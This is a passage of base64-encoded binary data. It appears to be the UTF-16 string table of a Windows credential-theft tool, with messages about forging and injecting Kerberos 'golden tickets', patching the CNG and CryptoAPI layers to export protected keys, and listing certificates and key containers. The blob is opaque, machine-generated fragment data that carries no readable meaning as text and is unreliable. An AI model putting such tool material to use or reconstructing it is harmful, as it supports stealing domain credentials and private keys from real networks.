B0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAlAHUALQAlADAAOAB4AC0AJQB3AFoAQAAlAHcAWgAtACUAdwBaAC4AJQBzAAAAAAB0AGkAYwBrAGUAdAAuAGsAaQByAGIAaQAAAAAAdABpAGMAawBlAHQAAAAAAGEAZABtAGkAbgAAAGQAbwBtAGEAaQBuAAAAAABzAGkAZAAAAGQAZQBzAAAAcgBjADQAAABrAHIAYgB0AGcAdAAAAAAAYQBlAHMAMQAyADgAAAAAAGEAZQBzADIANQA2AAAAAAB0AGEAcgBnAGUAdAAAAAAAaQBkAAAAAABnAHIAbwB1AHAAcwAAAAAAMAAAAHMAdABhAHIAdABvAGYAZgBzAGUAdAAAADUAMgA1ADYAMAAwADAAAABlAG4AZABpAG4AAAByAGUAbgBlAHcAbQBhAHgAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuACAAIAAgACAAOgAgACUAcwAKAFMASQBEACAAIAAgACAAIAAgACAAOgAgACUAcwAKAFUAcwBlAHIAIABJAGQAIAAgACAAOgAgACUAdQAKAAAAAABHAHIAbwB1AHAAcwAgAEkAZAAgADoAIAAqAAAAJQB1ACAAAAAKAFMAZQByAHYAaQBjAGUASwBlAHkAOgAgAAAAIAAtACAAJQBzAAoAAAAAAFMAZQByAHYAaQBjAGUAIAAgACAAOgAgACUAcwAKAAAAVABhAHIAZwBlAHQAIAAgACAAIAA6ACAAJQBzAAoAAABMAGkAZgBlAHQAaQBtAGUAIAAgADoAIAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAtAD4AIABUAGkAYwBrAGUAdAAgADoAIAAlAHMACgAKAAAAAAAKAEcAbwBsAGQAZQBuACAAdABpAGMAawBlAHQAIABmAG8AcgAgACcAJQBzACAAQAAgACUAcwAnACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIABzAHUAYgBtAGkAdAB0AGUAZAAgAGYAbwByACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4ACgAAAAAACgBGAGkAbgBhAGwAIABUAGkAYwBrAGUAdAAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAAoAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAQwByAGUAZAAgAGUAcgByAG8AcgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAdABnAHQAIABrAGUAeQAgAHMAaQB6AGUAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAlAHUAIAAoACUAdQAgAGIAeQB0AGUAcwApACAAZgBvAHIAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABsAG8AYwBhAHQAZQAgAEMAcgB5AHAAdABvAFMAeQBzAHQAZQBtACAAZgBvAHIAIABFAFQAWQBQAEUAIAAlAHUAIAAoAGUAcgByAG8AcgAgADAAeAAlADAAOAB4ACkAIAAtACAAQQBFAFMAIABvAG4AbAB5ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABvAG4AIABOAFQANgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGsAcgBiAHQAZwB0ACAAawBlAHkAIABhAHIAZwB1AG0AZQBuAHQAIAAoAC8AcgBjADQAIABvAHIAIAAvAGEAZQBzADEAMgA4ACAAbwByACAALwBhAGUAcwAyADUANgApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAFMASQBEACAAcwBlAGUAbQBzACAAaQBuAHYAYQBsAGkAZAAgAC0AIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABTAEkARAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAZABvAG0AYQBpAG4AIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABhAHIAZwB1AG0AZQBuAHQACgAAACAAKgAgAFAAQQBDACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAFAAQQBDACAAcwBpAGcAbgBlAGQACgAAAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZQBuAGMAcgB5AHAAdABlAGQACgAAACAAKgAgAEsAcgBiAEMAcgBlAGQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AXwBkAGEAdABhACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZQBuAGMAcgB5AHAAdAAgACUAMAA4AHgACgAAAHAAYQBzAHMAdwBvAHIAZAAAAAAAYwBvAHUAbgB0AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AaABhAHMAaAAgADsAIABIAGEAcwBoAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAABYAC0AQwBBAEMASABFAEMATwBOAEYAOgAAAAAACgBQAHIAaQBuAGMAaQBwAGEAbAAgADoAIAAAAAoACgBEAGEAdABhACAAJQB1AAAACgAJACAAIAAgACoAIABJAG4AagBlAGMAdABpAG4AZwAgAHQAaQBjAGsAZQB0ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAlAHMAIAAhAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAKAAkAKgAgACUAdwBaACAAZQBuAHQAcgB5AD8AIAAqAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAYwBjAGEAYwBoAGUAIAB2AGUAcgBzAGkAbwBuACAAIQA9ACAAMAB4ADAANQAwADQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAQQB0ACAAbABlAGEAcwB0ACAAbwBuAGUAIABmAGkAbABlAG4AYQBtAGUAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAAAAlAHUALQAlADAAOAB4AC4AJQBzAAAAAAByAGUAcwBlAHIAdgBlAGQAAAAAAGYAbwByAHcAYQByAGQAYQBiAGwAZQAAAGYAbwByAHcAYQByAGQAZQBkAAAAcAByAG8AeABpAGEAYgBsAGUAAABwAHIAbwB4AHkAAABtAGEAeQBfAHAAbwBzAHQAZABhAHQAZQAAAAAAcABvAHMAdABkAGEAdABlAGQAAABpAG4AdgBhAGwAaQBkAAAAcgBlAG4AZQB3AGEAYgBsAGUAAABpAG4AaQB0AGkAYQBsAAAAcAByAGUAXwBhAHUAdABoAGUAbgB0AAAAaAB3AF8AYQB1AHQAaABlAG4AdAAAAAAAbwBrAF8AYQBzAF8AZABlAGwAZQBnAGEAdABlAAAAAAA/AAAAbgBhAG0AZQBfAGMAYQBuAG8AbgBpAGMAYQBsAGkAegBlAAAACgAJACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAoACQAgACAAIABTAGUAcgB2AGkAYwBlACAATgBhAG0AZQAgAAAAAAAKAAkAIAAgACAAVABhAHIAZwBlAHQAIABOAGEAbQBlACAAIAAAAAAACgAJACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAAAAAACAAKAAgACUAdwBaACAAKQAAAAAACgAJACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAoACQAgACAAIAAgACAAAAAAAAAACgAJACAAIAAgAFQAaQBjAGsAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAIAA7ACAAawB2AG4AbwAgAD0AIAAlAHUAAAAAAAkAWwAuAC4ALgBdAAAAAAAlAHMAIAA7ACAAAAAoACUAMAAyAGgAdQApACAAOgAgAAAAAAAlAHcAWgAgADsAIAAAAAAAKAAtAC0AKQAgADoAIAAAAEAAIAAlAHcAWgAAAG4AdQBsAGwAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBjAHIAYwAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQBfAG4AdAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuADIAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AZQB4AHAAIAAgACAAIAAAAHIAYwA0AF8AbABtACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AbQBkADQAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcwBoAGEAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdABfAGUAeABwACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAXwBlAHgAcAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkAF8AZQB4AHAAIAAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADIANQA2AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAGEAZQBzADIANQA2AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAHUAbgBrAG4AbwB3ACAAIAAgACAAIAAgACAAIAAgACAAIAAAAFAAUgBPAFYAXwBSAFMAQQBfAEEARQBTAAAAAABQAFIATwBWAF8AUgBFAFAATABBAEMARQBfAE8AVwBGAAAAAABQAFIATwBWAF8ASQBOAFQARQBMAF8AUwBFAEMAAAAAAFAAUgBPAFYAXwBSAE4ARwAAAAAAUABSAE8AVgBfAFMAUABZAFIAVQBTAF8ATABZAE4ASwBTAAAAUABSAE8AVgBfAEQASABfAFMAQwBIAEEATgBOAEUATAAAAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBOAFIAQQBfAEYAVQBMAEwAAAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMARABTAEEAXwBGAFUATABMAAAAAABQAFIATwBWAF8ARQBDAF8ARQBDAE4AUgBBAF8AUwBJAEcAAABQAFIATwBWAF8ARQBDAF8ARQBDAEQAUwBBAF8AUwBJAEcAAABQAFIATwBWAF8ARABTAFMAXwBEAEgAAABQAFIATwBWAF8AUgBTAEEAXwBTAEMASABBAE4ATgBFAEwAAABQAFIATwBWAF8AUwBTAEwAAAAAAFAAUgBPAFYAXwBNAFMAXwBFAFgAQwBIAEEATgBHAEUAAAAAAFAAUgBPAFYAXwBGAE8AUgBUAEUAWgBaAEEAAABQAFIATwBWAF8ARABTAFMAAAAAAFAAUgBPAFYAXwBSAFMAQQBfAFMASQBHAAAAAABQAFIATwBWAF8AUgBTAEEAXwBGAFUATABMAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAAoAFAAcgBvAHQAbwB0AHkAcABlACkAAABNAFMAXwBFAE4ASABfAFIAUwBBAF8AQQBFAFMAXwBQAFIATwBWAF8AWABQAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAUwBtAGEAcgB0ACAAQwBhAHIAZAAgAEMAcgB5AHAAdABvACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8AUwBDAEEAUgBEAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARABIACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARABFAEYAXwBEAEgAXwBTAEMASABBAE4ATgBFAEwAXwBQAFIATwBWAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEUATgBIAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARABFAEYAXwBEAFMAUwBfAFAAUgBPAFYAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAaQBnAG4AYQB0AHUAcgBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMASQBHAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwB0AHIAbwBuAGcAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8AUwBUAFIATwBOAEcAXwBQAFIATwBWAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAB2ADEALgAwAAAAAABNAFMAXwBFAE4ASABBAE4AQwBFAEQAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEQARQBGAF8AUABSAE8AVgAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAFMARQBSAFYASQBDAEUAUwAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AVQBTAEUAUgBTAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFMARQBSAFYASQBDAEUAAAAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQBfAEUATgBUAEUAUgBQAFIASQBTAEUAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXwBHAFIATwBVAFAAXwBQAE8ATABJAEMAWQAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgBfAEcAUgBPAFUAUABfAFAATwBMAEkAQwBZAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMATgBHACAAcwBlAHIAdgBpAGMAZQAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAABjAG4AZwAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAHIAeQBwAHQAbwBBAFAASQAgAGwAYQB5AGUAcgAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAABjAGEAcABpAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAdAApACAAawBlAHkAcwAgAGMAbwBuAHQAYQBpAG4AZQByAHMAAAAAAGsAZQB5AHMAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHMAdABvAHIAZQBzAAAAcwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcAByAG8AdgBpAGQAZQByAHMAAAAAAHAAcgBvAHYAaQBkAGUAcgBzAAAAQwByAHkAcAB0AG8AIABNAG8AZAB1AGwAZQAAAGMAcgB5AHAAdABvAAAAAAByAHMAYQBlAG4AaAAAAAAAQ1BFeHBvcnRLZXkAbgBjAHIAeQBwAHQAAAAAAE5DcnlwdE9wZW5TdG9yYWdlUHJvdmlkZXIAAABOQ3J5cHRFbnVtS2V5cwAATkNyeXB0T3BlbktleQAAAE5DcnlwdEV4cG9ydEtleQBOQ3J5cHRHZXRQcm9wZXJ0eQAAAE5DcnlwdEZyZWVCdWZmZXIAAAAATkNyeXB0RnJlZU9iamVjdAAAAABCQ3J5cHRFbnVtUmVnaXN0ZXJlZFByb3ZpZGVycwAAAEJDcnlwdEZyZWVCdWZmZXIAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABDAHIAeQBwAHQARQBuAHUAbQBQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMATgBHACAAcAByAG8AdgBpAGQAZQByAHMAIAA6AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABCAEMAcgB5AHAAdABFAG4AdQBtAFIAZQBnAGkAcwB0AGUAcgBlAGQAUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAHMAeQBzAHQAZQBtAHMAdABvAHIAZQAAAAAAAABBAHMAawBpAG4AZwAgAGYAbwByACAAUwB5AHMAdABlAG0AIABTAHQAbwByAGUAIAAnACUAcwAnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwB0AG8AcgBlAHMAIAA7ACAAQwBlAHIAdABFAG4AdQBtAFMAeQBzAHQAZQBtAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABNAHkAAAAAAHMAdABvAHIAZQAAACAAKgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAIAA6ACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKACAAKgAgAFMAdABvAHIAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJwAlAHMAJwAKAAoAAAAAACgAbgB1AGwAbAApAAAAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABrAGUAeQBTAHAAZQBjACAAPQA9ACAAQwBFAFIAVABfAE4AQwBSAFkAUABUAF8ASwBFAFkAXwBTAFAARQBDACAAdwBpAHQAaABvAHUAdAAgAEMATgBHACAASABhAG4AZABsAGUAIAA/AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBlAHIAdABpAGYAaQBjAGEAdABlAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAZgBvAHIAIABsAGUAbgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABwAHIAbwB2AGkAZABlAHIAAAAAAHAAcgBvAHYAaQBkAGUAcgB0AHkAcABlAAAAAABtAGEAYwBoAGkAbgBlAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoAIAAqACAAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgADoAIAAnACUAcwAnACAAKAAnACUAcwAnACkACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAOgAgACcAJQBzACcAIAAoACUAdQApAAoAIAAqACAAQwBOAEcAIABQAHIAbwB2AGkAZABlAHIAIAAgADoA